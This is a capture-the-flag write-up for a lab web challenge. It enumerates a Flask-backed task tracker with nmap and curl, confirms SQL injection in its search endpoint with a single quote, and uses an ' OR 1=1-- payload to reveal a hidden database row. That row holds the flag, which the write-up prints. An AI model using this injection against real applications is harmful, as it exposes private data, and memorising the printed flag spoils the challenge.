Category: Web
Author: Mārtiņš #1337
Flag: MCTF{SQL_1nj3cti0ns_4r3_0v3rd0n3}
“No more storing static pages on the web server, Mārtiņš will make a database and store the info there. There’s no way the attacker will access the db that isn’t user facing, right?”
Target IP: 10.240.3.144
Basic service discovery:
nmap -sC -sV 10.240.3.144
Relevant output:
PORT STATE SERVICE VERSION
80/tcp open http Caddy httpd
|_http-title: Mārtiņš’ Task Tracker (DB content)
|_http-server-header: Caddy
So we have a single HTTP service on port 80, fronted by Caddy, serving a web app called:
“Mārtiņš’ Task Tracker (DB content)”
This already hints that the app is DB-backed and probably exposes some DB-driven API.
Grabbed the main page:
curl -s http://10.240.3.144/ -o index.html
Key parts (simplified):
<p>Browse tasks loaded from the database. Use the search box to filter by name:</p>
<label for="search">Search tasks:</label>
<input id="search" type="search" placeholder="Search tasks..." />
<ul id="list"></ul>
<div class="status-bar">
<p class="status-bar-field">Source: /api/pages</p>
<p class="status-bar-field">Mode: Instant search</p>
</div>
And the JavaScript:
<script>
async function render(data){
const list = document.getElementById('list');
list.innerHTML = data.map(
d => `<li><a href="/page.html?u=${encodeURIComponent(d.url)}">${d.name}</a></li>`
).join('');
}
async function loadAll(){
const res = await fetch('/api/pages');
render(await res.json());
}
document.getElementById('search').addEventListener('input', async e => {
const q = e.target.value.trim();
const res = await fetch(
q ? '/api/search?query=' + encodeURIComponent(q) : '/api/pages'
);
render(await res.json());
});
loadAll();
</script>
So we learn:
GET /api/pagesGET /api/search?query=.../page.html?u=<url-from-API>/api/pagescurl -s http://10.240.3.144/api/pages
Output:
[
{
"name":"1. Analyze your mistakes",
"url":"b35bfdef011550d5c39b84da8da779a6cae6ea49d5919625a5bd19d0b0bb06ece1417d4c49bf4207133aa02619e9052ca891e35e810087790a66c748a46d5440"
},
{
"name":"2. Ask yourself tough questions",
"url":"34bdbe30c90d189efa1fc732c1417c206e1ba916b39c7dfdc92e2376802d3a59cf330f0b30f14c71818d554757e139472bd12fde1acbbf24375e621a5ff029b1"
},
{
"name":"3. Reframe The Error",
"url":"7ca95df8e8b2de4eb29679ef033d4b8837edb23dc632b89d7d07e4018ca1e79f5c664a2969bc34c916764d6916bbbec749f40f295d7a61d774f6a410130b0bbe"
},
{
"name":"4. Put Lessons Learned into practice",
"url":"634b1f66cca621f7433f1837b195684d770f11cd4fab0188adac2b2222ae13a0dd55ad0730067332b8f562af5066bb4042427f367f485e477857432100821cd4"
}
]
We see 4 tasks, each with a long hex-encoded url field that acts as an ID.
/page.htmlFetching one of the task pages:
curl -s "http://10.240.3.144/page.html?u=b35bfdef011550d5c39b84da8da779a6cae6ea49d5919625a5bd19d0b0bb06ece1417d4c49bf4207133aa02619e9052ca891e35e810087790a66c748a46d5440" -o page1.html
Important snippet:
<script>
function getParam(name){
const u = new URL(location.href);
return u.searchParams.get(name);
}
const id = getParam('u');
fetch('/api/page/' + encodeURIComponent(id))
.then(r => r.json())
.then(data => {
// renders page content from API
});
</script>
So:
/page.html is just a viewer.GET /api/page/<id>./api/page/<id>Test with a valid ID:
curl -s "http://10.240.3.144/api/page/b35bfdef011550d5c39b84da8da779a6cae6ea49d5919625a5bd19d0b0bb06ece1417d4c49bf4207133aa02619e9052ca891e35e810087790a66c748a46d5440"
Response:
{
"content": "Reflect on what went wrong and why...",
"name": "1. Analyze your mistakes"
}
And with an invalid ID:
curl -v "http://10.240.3.144/api/page/aaaaaaaa"
Response (truncated):
HTTP/1.1 500 Internal Server Error
Server: Caddy
Server: Werkzeug/3.1.3 Python/3.11.14
<!doctype html>
<html lang=en>
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error ...</p>
So the backend is a Python/Werkzeug app, and /api/page/<id> expects the hex blob to be valid; random junk causes a 500.
Normal search:
curl -s "http://10.240.3.144/api/search?query=Analyze"
Response:
[
{
"name":"1. Analyze your mistakes",
"url":"b35bfdef011550d5c39b84da8da779a6cae6ea49d5919625a5bd19d0b0bb06ece1417d4c49bf4207133aa02619e9052ca891e35e810087790a66c748a46d5440"
}
]
Now try breaking it with a bare quote:
curl -v "http://10.240.3.144/api/search?query='" -o search_err.html
Response is a 500 Internal Server Error HTML page, same as for the bogus /api/page/aaaaaaaa.
This strongly suggests:
query parameter is interpolated directly into an SQL statement, without proper parameterization.' breaks the query and yields a 500./api/searchWe suspect something like:
SELECT name, url FROM pages
WHERE name LIKE '%' || :query || '%';
but implemented unsafely as string concatenation.
We use a classic OR 1=1 injection via URL-encoding:
curl -s "http://10.240.3.144/api/search?query=%27%20OR%201%3D1--%20"
This decodes to:
' OR 1=1--
If the original query is:
... WHERE name LIKE '%<query>%'
it becomes:
WHERE name LIKE '%' OR 1=1-- '%'
LIKE '%' is always true,OR 1=1 makes the whole condition true,-- comments out the trailing '% bit.Result: all rows from the pages table are returned, including non-public ones.
The response:
[
{
"name":"1. Analyze your mistakes",
"url":"b35bfdef011550d5c39b84da8da779a6cae6ea49d5919625a5bd19d0b0bb06ece1417d4c49bf4207133aa02619e9052ca891e35e810087790a66c748a46d5440"
},
{
"name":"2. Ask yourself tough questions",
"url":"34bdbe30c90d189efa1fc732c1417c206e1ba916b39c7dfdc92e2376802d3a59cf330f0b30f14c71818d554757e139472bd12fde1acbbf24375e621a5ff029b1"
},
{
"name":"3. Reframe The Error",
"url":"7ca95df8e8b2de4eb29679ef033d4b8837edb23dc632b89d7d07e4018ca1e79f5c664a2969bc34c916764d6916bbbec749f40f295d7a61d774f6a410130b0bbe"
},
{
"name":"4. Put Lessons Learned into practice",
"url":"634b1f66cca621f7433f1837b195684d770f11cd4fab0188adac2b2222ae13a0dd55ad0730067332b8f562af5066bb4042427f367f485e477857432100821cd4"
},
{
"name":"5. Request Feedback",
"url":"0107c84c63d75e3a308b318e0760d6deb162ff85c5099961d0a3bfd36d4fe5d1aef8b9f07540f679eb9a17c81ac1922c88ec721d104221032ea2a5b8d6174941"
}
]
The fifth entry (5. Request Feedback) is new and was not shown by /api/pages.
That’s clearly the hidden “DB-only” page the challenge description was talking about.
Using the hidden task’s url value:
curl -s "http://10.240.3.144/api/page/0107c84c63d75e3a308b318e0760d6deb162ff85c5099961d0a3bfd36d4fe5d1aef8b9f07540f679eb9a17c81ac1922c88ec721d104221032ea2a5b8d6174941"
Inside the JSON content was the flag:
MCTF{SQL_1nj3cti0ns_4r3_0v3rd0n3}